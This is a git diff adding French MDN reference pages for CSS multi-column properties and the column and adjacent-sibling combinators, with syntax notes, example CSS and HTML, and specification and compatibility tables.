+ <dd>Un mot-clé (défini comme pour {{cssxref("border-style")}}) qui permet de définir le style appliqué au trait. Les épaisseurs résultantes sont calculées avec la même méthode que pour les bordures (cf. <em><a href="https://www.w3.org/TR/CSS2/tables.html#collapsing-borders">collapsing border model</a></em>).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.exemple {
+  border: 10px solid #000000;
+
+  columns:3;
+  column-rule-width: thick;
+  column-rule-color: blue;
+  column-rule-style: dashed;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class=exemple&gt;
+  « Mais alors, » pensa Alice, « ne serai-je donc
+  jamais plus vieille que je ne le suis maintenant ?
+  D’un côté cela aura ses avantages, ne jamais être
+  une vieille femme. Mais alors avoir toujours des
+  leçons à apprendre ! Oh, je n’aimerais pas cela du
+  tout. »
+  « Oh ! Alice, petite folle, » se répondit-elle.
+  « Comment pourriez-vous apprendre des leçons ici ?
+  Il y a à peine de la place pour vous, et il n’y en
+  a pas du tout pour vos livres de leçons. »
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#crs', 'column-rule-style')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.column-rule-style")}}</p>
diff --git a/files/fr/web/css/column-rule-width/index.html b/files/fr/web/css/column-rule-width/index.html
new file mode 100644
index 0000000000..3797b147cb
--- /dev/null
+++ b/files/fr/web/css/column-rule-width/index.html
@@ -0,0 +1,106 @@
+---
+title: column-rule-width
+slug: Web/CSS/column-rule-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/column-rule-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>column-rule-width</code></strong> permet de définir la largeur du trait tracé entre les colonnes lorsqu'on utilise une disposition en colonnes.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-rule-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+column-rule-width: thin;
+column-rule-width: medium;
+column-rule-width: thick;
+
+/* Valeurs de longueurs */
+/* Type &lt;length&gt;        */
+column-rule-width: 1px;
+column-rule-width: 2.5em;
+
+/* Valeurs globales */
+column-rule-width: inherit;
+column-rule-width: initial;
+column-rule-width: unset;
+</pre>
+
+<p>La propriété <code>column-rule-width</code> est définie grâce à une valeur de type <code>&lt;br-width&gt;</code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) ou un mot-clé parmi <code>thin</code>, <code>medium</code> ou <code>thick</code> qui décrit l'épaisseur du trait séparant deux colonnes. C'est le type de valeur qui sera également utilisé pour la propriété {{cssxref("border-width")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.exemple {
+  border: 10px solid #000000;
+  columns:3;
+  column-rule-width: thick;
+  column-rule-color: blue;
+  column-rule-style: dashed;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class=exemple&gt;
+  « Mais alors, » pensa Alice, « ne serai-je donc
+  jamais plus vieille que je ne le suis maintenant ?
+  D’un côté cela aura ses avantages, ne jamais être
+  une vieille femme. Mais alors avoir toujours des
+  leçons à apprendre ! Oh, je n’aimerais pas cela du
+  tout. »
+  « Oh ! Alice, petite folle, » se répondit-elle.
+  « Comment pourriez-vous apprendre des leçons ici ?
+  Il y a à peine de la place pour vous, et il n’y en
+  a pas du tout pour vos livres de leçons. »
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#crw', 'column-rule-width')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.column-rule-width")}}</p>
diff --git a/files/fr/web/css/column-rule/index.html b/files/fr/web/css/column-rule/index.html
new file mode 100644
index 0000000000..b5df7f6e0e
--- /dev/null
+++ b/files/fr/web/css/column-rule/index.html
@@ -0,0 +1,109 @@
+---
+title: column-rule
+slug: Web/CSS/column-rule
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/column-rule
+---
+<div>{{CSSRef}}</div>
+
+<p>Lorsqu'on utilise une disposition sur plusieurs colonnes, la <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">propriété raccourcie</a> <strong><code>column-rule</code></strong> permet de définir l'affichage d'une ligne droite (aussi appelée « règle ») entre chaque colonne.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-rule.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est une propriété raccourcie qui permet de définir {{cssxref("column-rule-width")}}, {{cssxref("column-rule-style")}} et {{cssxref("column-rule-color")}} (plutôt que d'avoir à les définir une par une, ce qui est plus laborieux).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette propriété étant une propriété raccourcie, elle surcharge toutes les déclarations avec les propriétés individuelles écrites avant au sein d'une même règle.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Syntaxe avec des mots-clés */
+column-rule: dotted;
+column-rule: solid blue;
+column-rule: solid 8px;
+column-rule: thick inset blue;
+
+/* Valeurs globales */
+column-rule: inherit;
+column-rule: initial;
+column-rule: unset;
+</pre>
+
+<p>Cette propriété peut être définie avec une, deux ou trois valeurs telles que définies ci-après, dans n'importe quel ordre.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'column-rule-width'&gt;</code></dt>
+ <dd>Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) ou l'un des mots-clés <code>thin</code>, <code>medium</code> ou <code>thick</code>. Pour plus de détails, voir {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'column-rule-style'&gt;</code></dt>
+ <dd>Voir {{cssxref("border-style")}} pour les différentes valeurs possibles.</dd>
+ <dt><code>&lt;'column-rule-color'&gt;</code></dt>
+ <dd>Une valeur de couleur (type {{cssxref("&lt;color&gt;")}}).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<div id="htmlOutputWrapper">
+<pre class="brush: html" id="htmlOutput">&lt;div id="col_rul"&gt;
+  &lt;p&gt; column one &lt;/p&gt;
+  &lt;p&gt; column two &lt;/p&gt;
+  &lt;p&gt; column three &lt;/p&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#col_rul{
+  padding: 0.3em;
+  background: gold;
+  border: groove 2px gold;
+  column-rule: inset 2px gold;
+  column-count: 3;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#column-rule', 'column-rule')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.column-rule")}}</p>
diff --git a/files/fr/web/css/column-span/index.html b/files/fr/web/css/column-span/index.html
new file mode 100644
index 0000000000..384a645097
--- /dev/null
+++ b/files/fr/web/css/column-span/index.html
@@ -0,0 +1,101 @@
+---
+title: column-span
+slug: Web/CSS/column-span
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/column-span
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>column-span</code></strong> permet à un élément de s'étendre sur toutes les colonnes lorsque la valeur de cette propriété est <code>all</code>. Un élément qui s'étend sur plus d'une colonne est appelé un élément étendu (<em>spanning element</em>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-span.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+column-span: none;
+column-span: all;
+
+/* Valeurs globales */
+column-span: inherit;
+column-span: initial;
+column-span: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>L'élément ne s'étend pas sur plusieurs colonnes.</dd>
+ <dt><code>all</code></dt>
+ <dd>L'élément s'étend sur l'ensemble des colonnes. Le contenu du flux normal apparaissant avant l'élément est équilibré entre toutes les colonnes de façon automatique. L'élément établit un nouveau bloc de contexte de formatage.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  border: 10px solid #000000;
+  columns:3;
+}
+
+h2 {
+  column-span: all;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class=exemple&gt;
+  « Mais alors, » pensa Alice, « ne serai-je donc
+  jamais plus vieille que je ne le suis maintenant ?
+  D’un côté cela aura ses avantages, ne jamais être
+  une vieille femme. Mais alors avoir toujours des
+  leçons à apprendre ! Oh, je n’aimerais pas cela du
+  tout. »
+  &lt;h2&gt; La suite&lt;/h2&gt;
+  « Oh ! Alice, petite folle, » se répondit-elle.
+  « Comment pourriez-vous apprendre des leçons ici ?
+  Il y a à peine de la place pour vous, et il n’y en
+  a pas du tout pour vos livres de leçons. »
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","auto",120)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#column-span', 'column-span')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.column-span")}}</p>
diff --git a/files/fr/web/css/column-width/index.html b/files/fr/web/css/column-width/index.html
new file mode 100644
index 0000000000..748eadc8ec
--- /dev/null
+++ b/files/fr/web/css/column-width/index.html
@@ -0,0 +1,113 @@
+---
+title: column-width
+slug: Web/CSS/column-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/column-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>column-width</code></strong> définit une largeur de colonne idéale lorsqu'on utilise une disposition en colonnes. Aussi, on aura le plus de colonnes possible et pour lesquelles aucune n'est moins large que <code>column-width</code>. La colonne réelle peut être plus petite que cette taille si son conteneur est moins large que cette valeur.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Ainsi, si on a une colonne large de 300px avec un écart de 0px, on pourrait placer une seule colonne sur 599px mais avoir deux colonnes avec 600px. Ce réglage permet donc d'obtenir des effets qui s'adaptent aux différentes tailles d'écrans. Manipulée avec la propriété {{cssxref("column-count")}} qui a la précédence, il est nécessaire de définir toutes les valeurs de longueur pour avoir une largeur de colonne CSS exacte. Pour du texte horizontal, ces propriétés sont {{cssxref('width')}}, {{cssxref('column-width')}}, {{cssxref('column-gap')}} et {{cssxref('column-rule-width')}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+column-width: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+column-width: 60px;
+column-width: 15.5em;
+column-width: 3.3vw;
+
+/* Valeurs globales */
+column-width: inherit;
+column-width: initial;
+column-width: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) qui fournit une indication sur la largeur optimale d'une colonne. La colonne réelle peut être plus large que cette longueur (pour remplir l'espace disponible) ou plus étroite (uniquement si l'espace disponible est inférieur à la largeur indiquée). La longueur exprimée doit être strictement positive sinon la déclaration est considérée invalide. Les valeurs exprimées en pourcentages sont invalides.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé indiquant que la largeur de la colonne doit être déterminée grâce aux autres propriétés CSS comme {{cssxref("column-count")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.content-box {
+  border: 10px solid #0ff;
+
+  -webkit-column-width: 100px;
+  -moz-column-width: 100px;
+  column-width: 100px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="content-box"&gt;
+  Lorem ipsum dolor sit amet, consectetuer adipiscing elit,
+  sed diam nonummy nibh euismod tincidunt ut laoreet dolore
+  magna aliquam erat volutpat. Ut wisi enim ad minim veniam,
+  quis nostrud exerci tation ullamcorper suscipit lobortis
+  nisl ut aliquip ex ea commodo consequat.
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '300px', '200px')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Writing Modes', '#auto-multicol', 'column-width')}}</td>
+   <td>{{Spec2('CSS4 Writing Modes')}}</td>
+   <td>Ajoutes des tailles intrinsèques grâce aux mots-clés <code>min-content</code>, <code>max-content</code>, <code>fill-available</code> et <code>fit-content</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#cw', 'column-width')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.column-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Apprendre - La disposition multi-colonnes</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol">Les concepts de base pour la disposition multi-colonnes</a></li>
+</ul>
diff --git a/files/fr/web/css/columns/index.html b/files/fr/web/css/columns/index.html
new file mode 100644
index 0000000000..ce9e7257c9
--- /dev/null
+++ b/files/fr/web/css/columns/index.html
@@ -0,0 +1,112 @@
+---
+title: columns
+slug: Web/CSS/columns
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/columns
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>columns</code></strong> est une propriété raccourcie permettant de définir les deux propriétés {{cssxref('column-width')}} (qui définit la largeur des colonnes) et {{cssxref("column-count")}} (qui définit le nombre de colonnes) en même temps.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/columns.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Comme pour toute propriété raccourcie, toute propriété détaillée qui n'est pas définie se voit réinitialisée à sa valeur par défaut (surchargeant ainsi les éventuelles règles déclarées avant).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Largeur */
+columns: 18em;
+
+/* Nombre de colonnes */
+columns: 1;
+columns: auto;
+
+/* Combinaison d'une largeur et d'un nombre */
+columns: 1 auto;
+columns: auto 12em;
+columns: auto auto;
+
+
+/* Valeurs globales */
+columns: inherit;
+columns: initial;
+columns: unset;
+</pre>
+
+<p>La propriété <code>columns</code> se définit avec un ou deux valeurs parmi celles décrites ci-après. L'ordre de ces valeurs n'a pas d'importance.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'column-width'&gt;</code></dt>
+ <dd>Une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) fournissant une indication quant à la largeur optimale de la colonne ou le mot-clé auto. La colonne réelle peut être plus large (pour remplir l'espace disponible) ou plus étroite (s'il n'y a pas suffisamment d'espace disponible). La longueur exprimée doit être strictement positive, dans le cas contraire, la déclaration sera invalide.</dd>
+ <dt><code>&lt;'column-count'&gt;</code></dt>
+ <dd>Une quantité (type {{cssxref("&lt;integer&gt;")}}) strictement positive qui décrit le nombre idéal de colonnes parmi lesquelles disposer le contenu de l'élément. Si la valeur de {{cssxref("column-width")}} n'est pas une valeur automatique, cette valeur indique simplement le nombre maximal de colonnes.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.exemple {
+  margin: 0;
+  height: 90px;
+  border: 3px solid black;
+  columns: 3;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class=exemple&gt;
+  « Mais alors, » pensa Alice, « ne serai-je donc
+  jamais plus vieille que je ne le suis maintenant ?
+  D’un côté cela aura ses avantages, ne jamais être
+  une vieille femme. Mais alors avoir toujours des
+  leçons à apprendre ! Oh, je n’aimerais pas cela du
+  tout. »
+  « Oh ! Alice, petite folle, » se répondit-elle.
+  « Comment pourriez-vous apprendre des leçons ici ?
+  Il y a à peine de la place pour vous, et il n’y en
+  a pas du tout pour vos livres de leçons. »
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples",300,120)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#columns', 'columns')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.columns")}}</p>
diff --git a/files/fr/web/css/combinateur_colonne/index.html b/files/fr/web/css/combinateur_colonne/index.html
new file mode 100644
index 0000000000..b971e8ae4c
--- /dev/null
+++ b/files/fr/web/css/combinateur_colonne/index.html
@@ -0,0 +1,97 @@
+---
+title: Combinateur de colonne
+slug: Web/CSS/Combinateur_colonne
+tags:
+  - CSS
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/Column_combinator
+---
+<div>{{CSSRef("Selectors")}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p>Le <strong>combinateur de colonne</strong> (<code>||</code>) est placé entre deux sélecteurs CSS. Les éléments ciblés sont ceux ciblés par le deuxième sélecteur et qui appartiennent à un élément en colonne qui correspond au premier sélecteur.</p>
+
+<pre class="brush: css no-line-numbers">/* Les cellules de tableaux qui appartiennent */
+/* à la colonne "selected" */
+col.selected || td {
+  background: gray;
+}
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>column-selector</var> || <var>cell-selector</var> {
+  <var>/* propriétés pour le style */</var>
+}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table border="1"&gt;
+  &lt;colgroup&gt;
+    &lt;col span="2"/&gt;
+    &lt;col class="selected"/&gt;
+  &lt;/colgroup&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;A
+      &lt;td&gt;B
+      &lt;td&gt;C
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td colspan="2"&gt;D&lt;/td&gt;
+      &lt;td&gt;E&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;F&lt;/td&gt;
+      &lt;td colspan="2"&gt;G&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">col.selected || td {
+  background: gray;
+  color: white;
+  font-weight: bold;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-column-combinator", "column combinator")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.sort")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("col")}}</li>
+ <li>{{HTMLElement("colgroup")}}</li>
+ <li>{{CSSxRef("grid")}}</li>
+</ul>
diff --git a/files/fr/web/css/combinateur_de_voisin_direct/index.html b/files/fr/web/css/combinateur_de_voisin_direct/index.html
new file mode 100644
index 0000000000..4898c755c4
--- /dev/null
+++ b/files/fr/web/css/combinateur_de_voisin_direct/index.html
@@ -0,0 +1,86 @@
+---
+title: Combinateur de voisin direct
+slug: Web/CSS/Combinateur_de_voisin_direct
+tags:
+  - CSS
+  - Reference
+  - Sélecteur
+translation_of: Web/CSS/Adjacent_sibling_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p>Cette forme de combinateur permet de sélectionner un élément uniquement si celui-ci « suit » un élément donné et que les deux éléments sont les fils d'un même élément parent.</p>
+
+<pre class="brush: css">/* Ne cible que les paragraphes situé directement après une image */
+img + p {
+  font-style: bold;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">premier_element + element_cible { <em>styles</em> }
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<div id="Example_1">
+<pre class="brush: css">li:first-of-type + li {
+  color: red;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+</div>
+
+<p>{{EmbedLiveSample('Exemples', 200, 100)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#adjacent-sibling-combinators', 'next-sibling combinator')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Renomme ce sélecteur en « <em>next-sibling combinator</em> ».</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#adjacent-sibling-combinators', 'Adjacent sibling combinator')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#adjacent-selectors', 'Adjacent sibling selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.adjacent_sibling")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Sélecteurs_de_voisins_généraux">Les combinateurs d'éléments voisins</a></li>
+</ul>
